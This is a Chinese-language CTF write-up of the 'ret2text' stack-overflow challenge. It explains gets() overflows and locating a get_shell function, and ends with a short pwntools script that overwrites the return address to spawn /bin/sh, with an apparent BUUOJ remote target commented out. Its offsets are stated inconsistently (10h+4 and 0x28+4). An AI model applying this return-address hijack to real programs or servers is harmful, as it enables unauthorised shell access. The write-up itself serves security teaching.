ret2text
今天看到一个很有意思的比喻:
想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的窃听气,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把切听器当作Shellcode吧!
ret2text
💡 Tips:checksec 32位 NX

💡 Tips:主函数: 进入:vulnerable();

💡 Tips:发现gets 漏洞 【距离ebp 10h】
栈溢出的漏洞 ——gets函数(无限输入造成栈溢出)
栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶。堆栈数据结构的两种基本操作:
- push:将数据压入栈顶
- pop :将栈顶数据弹出
什么是栈溢出呢?栈溢出是指向向栈中写入了超出限定长度的数据,如果我们计算好溢出的长度,编写好溢出数据,让我们想要的地址数据正好覆盖到gets()函数是C中的危险函数之一,它不进行边界检查。
在实际的栈溢出中,我们劫持程序的流程,一般会修改返回地址到shellcode或者内存中已经有的一段指令(ROP),一些具体的攻击利用技术
列一些C中会发生缓冲区溢出的危险函数:
- gets()
- strcpy
- strcat
- sprintf

💡 Tips:在get_shell函数中找到了 system(“bin/sh”)
💡 Tips:找到它(get_shell)的位置0x8048522
覆盖上这个get_shell的地址
这个函数唯一的作用就是调用system("/bin/sh")打开一个bash shell,从而可以执行shell命令与系统本身进行交互

💡结合pwntools打造一个远程代码执行漏洞exp
攻击目标就是获得一个shell——命令解释器。当我们获得了一个shell也就意味对方服务器上可以解释我们也就是用户的命令。这样就代表我们有攻击成功。就是用system函数去输入一个'/bin/sh'字符串。
pwntools提供了一个更方便的函数p32( )(即pack32位地址,同样的还有unpack32位地址的u32( )以及不同位数p64() 相对于栈基地址的索引,通过查看EBP相对偏移获得 char name[32]; [esp+0h] [ebp-28h] ==> 0x28+0x4
所以我们的payload就是(10h+4)*'A'+p32(0x8048522)
1 from pwn import * 2 io=process("./ret2text")#攻击本地 3 #io = remote('node4.buuoj.cn',26728)攻击服务器,远程端口 4 payload = 'a' * 20 +p32(0x8048522) 5 io.sendline(payload) 6 io.interactive()

攻击本地获得本地文件flag 还可ls 得到 桌面列表

浙公网安备 33010602011771号